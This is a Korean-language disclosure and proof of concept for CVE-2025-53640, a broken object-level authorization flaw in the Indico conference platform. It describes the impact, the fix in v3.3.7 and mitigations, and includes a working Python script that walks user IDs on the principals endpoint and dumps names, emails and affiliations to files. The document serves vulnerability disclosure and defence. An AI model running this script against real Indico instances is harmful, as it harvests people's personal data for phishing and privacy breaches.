
CERN의 Indico에서 발생하는 BOLA(Broken Object Level Authorization) 취약점으로 인해 인증된 사용자 열거가 가능합니다.
CVE-2025-53640의 PoC 및 기술 분석: Indico의 BOLA(Broken Object Level Authorization) 취약점을 통해 인증된 사용자가 엔드포인트로 사용자 열거를 수행하여 이름, 이메일, 소속을 노출할 수 있습니다. 악용 스크립트, 요청 분석, 스크린샷을 포함합니다. 전 세계에 배포된 Indico 인스턴스(유럽 입자 물리 연구소(CERN), 유엔(UN), 매사추세츠 공과대학(MIT), 유럽 우주국(ESA) 등)에 영향을 미칩니다.
오픈소스 애플리케이션 _Indico_의 BOLA(Broken Object Level Authorization) 취약점으로 인해 엔드포인트를 통한 대량 사용자 열거가 가능합니다.
원래 특정 양식 필드에서 사용자 ID를 확인하기 위한 용도였던 이 엔드포인트는 모든 유효한 사용자 ID의 개인 정보를 검색하는 데 악용될 수 있습니다:
전체 이름
이메일 주소
직함
소속
아바타 URL
이 취약점은 Indico 유지보수자에게 보고되어 승인되었으며, 공식적으로 CVE-2025-53640로 추적됩니다.
유효한 인증 세션이 필요합니다.
그러나 대부분의 공용 Indico 인스턴스는 이메일 확인, CAPTCHA 또는 수동 승인 없이 자체 등록을 허용합니다.
이로 인해 간단한 계정 생성 후 사실상 인증되지 않은 사용자도 악용할 수 있는 취약점이 됩니다.
Indico는 CERN(유럽 입자 물리 연구소)이 개발하고 전 세계 학술 및 기관 인프라를 지원하는 널리 채택된 이벤트 및 컨퍼런스 관리 플랫폼입니다:
CERN(유럽 입자 물리 연구소): 연간 900,000건 이상의 이벤트, 매일 200개 이상의 회의실 예약.
전 세계: 300개 이상의 기관에서 연간 약 145,000건의 이벤트.
UN(유엔): 연간 180,000명 이상의 참가자.
UNOG(유엔 제네바 사무소): 연간 최대 700,000명의 사용자.
대학, 연구소, 연구 기관 및 정부 기관에서 광범위하게 사용됩니다.
영향을 받는 공용 인스턴스의 예:
과학, 학술, 정부 환경에서의 광범위한 사용으로 인해 이 취약점은 심각한 위험을 초래합니다:
연구원, 직원 및 관리자의 신원 유출
대규모 개인정보 침해 및 기관 디렉터리 노출
피싱 또는 사회공학을 위한 표적 정찰
민감한 연구 및 정책 이니셔티브의 잠재적 손상
개인 식별 정보(PII) 공개
고권한 사용자(관리자, 주최자) 열거
대량 피싱 및 표적 피싱 공격 지원
GDPR, LGPD 및 내부 기관 정책과 같은 규정을 위반
관할권에 따라 신고 대상 침해 사고가 될 수 있음
이 문제는 Indico v3.3.7에서 수정되었습니다.
유지보수자에 따르면 예측 가능한 ID를 통한 사용자 데이터(이름, 소속, 이메일)의 대량 덤프를 방지하도록 엔드포인트의 동작이 조정되었습니다. 또한 새로운 구성 플래그 ALLOW_PUBLIC_USER_SEARCH가 도입되었습니다.
추가 완화 조치는 다음과 같습니다:
등록 이메일 확인 제한
공개 검색이 비활성화된 경우 개인 링크 확인 비활성화
제한된 검색에서 ACL이 없는 이벤트에 대한 UI 경고 추가
#!/usr/bin/env python3
import requests
import json
import csv
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://indico.<URL>/api/principals"
headers = {
"Cookie": "indico_session=YOUR_SESSION_COOKIE_HERE",
"Content-Type": "application/json",
"X-Csrf-Token": "YOUR_CSRF_TOKEN_HERE"
}
def enumerate_users(max_errors=10):
user_id = 1
errors = 0
results = []
while errors < max_errors:
payload = {"values": [f"User:{user_id}"]}
response = requests.post(url, headers=headers, data=json.dumps(payload), verify=False)
if response.status_code == 200:
data = response.json()
key = f"User:{user_id}"
if key in data and not data[key].get("invalid", True):
user = data[key]
print(f"[+] ID {user_id}: {user['first_name']} {user['last_name']} - {user['email']}")
results.append({
"user_id": user_id,
"name": f"{user['first_name']} {user['last_name']}",
"email": user["email"],
"affiliation": user["affiliation"],
"title": user["title"],
"avatar_url": user["avatar_url"]
})
errors = 0
else:
print(f"[-] ID {user_id}: Invalid")
errors += 1
else:
print(f"[!] ID {user_id}: HTTP Error {response.status_code}")
errors += 1
user_id += 1
with open("enumerated_users.json", "w", encoding="utf-8") as jf:
json.dump(results, jf, indent=2, ensure_ascii=False)
with open("enumerated_users.csv", "w", newline="", encoding="utf-8") as cf:
writer = csv.DictWriter(cf, fieldnames=["user_id", "name", "email", "affiliation", "title", "avatar_url"])
writer.writeheader()
writer.writerows(results)
print("Enumeration finished.")
if __name__ == "__main__":
enumerate_users()
역할 또는 컨텍스트에 따라 엔드포인트 접근 제한
indico.conf에서 ALLOW_PUBLIC_USER_SEARCH = false 설정
노출되는 사용자 필드를 필요한 정보로만 제한
자체 등록 비활성화 또는 제한 (예: 이메일 확인, 관리자 승인)
엔드포인트에서 모니터링 및 속도 제한 활성화
즉시 Indico 3.3.7 이상으로 업그레이드
열거 패턴에 대한 액세스 로그 모니터링
공식 ID: CVE-2025-53640
이 취약점은 RNP(Rede Nacional de Ensino e Pesquisa – 브라질) 레드팀 레지던시 프로그램의 일환으로 수행된 보안 평가 중 발견되었습니다.
모든 연구와 테스트는 사전 승인과 감독 하에 수행되었습니다. 윤리적 지침과 인프라 지원을 제공해 준 RNP 보안 팀에 특별히 감사드립니다.
이 CVE는 민감한 기관 데이터를 관리하는 플랫폼에서 엄격한 객체 수준 접근 제어를 적용하는 것의 중요성을 강조합니다.